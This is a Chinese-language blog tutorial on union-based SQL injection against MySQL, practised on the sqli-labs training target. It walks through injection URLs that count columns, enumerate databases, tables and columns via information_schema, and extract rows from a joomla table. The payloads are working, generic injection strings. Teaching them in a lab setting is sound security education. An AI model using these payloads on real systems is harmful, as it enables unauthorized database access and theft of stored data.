前言:這篇文章是針對mysql5.0版本及以上版本的資料庫進行注入,至于如何判斷資料版本呢?可以通過掃描工具自行探測,本次用到的靶場是使用的sqlilabs,可以自行搭建,話不多說,進入正題!
知識背景
在mysql 5.0以上版本中mysql存在一個自帶資料名為information_schema,它是一個存盤所有資料庫名,表名,列名的資料庫,相當于可以通過查詢他獲取指定資料下面的表名或列名字
information_schema.tables: 記錄所有表名資訊的表
information_schema.columns:記錄所有列名資訊的表
table_name:表名
column_name:列名
table_schema:資料庫名
判斷是否可以注入
http://192.168.58.130:86/Less-2/?id=123213282kjhdkjashdaksjd
讓id隨便等于一個值,但是頁面還是可以正常顯示,就代表id還是把我輸入的內容帶入到資料庫中進行查詢,故存在注入點,

猜解列名數量
http://192.168.58.130:86/Less-2/?id=1 order by 3

http://192.168.58.130:86/Less-2/?id=1 order by 4

所以列名數目為3
獲取所有資料名字
http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
暴露出所有的資料庫名字 這里的group_concat就是值的是吧schema_name這一列都給查出來
獲取joomla資料庫下的表名資訊
http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'joomla'

獲取joomla資料庫表名bak_krfbj_assets表的所有列資訊
http://192.168.58.130:86/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'bak_krfbj_assets' and table_schema ='joomla' //加了一個and 為了避免其他資料庫也有一個名為bak_krfbj_assets的表
結果:

獲取指定資料:
獲取name內容
http://192.168.58.130:86/Less-2/?id=-1 union select 1,name, 4 from joomla.bak_krfbj_assets

獲取rules 內容
http://192.168.58.130:86/Less-2/?id=-1 union select 1,rules, 4 from joomla.bak_krfbj_assets

自此我們獲取到了具體的name和rules資訊,此文章呢涉及到注入是比較簡單的,學注入的漫漫長路,同志仍然需要努力呀,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/374557.html
標籤:其他
上一篇:【歷史上的今天】12 月 5 日:分布式系統的“三駕馬車”;世界上第一篇計算機科學博士論文;IBM 推出“深藍”計算機
下一篇:網路安全學習--PKI
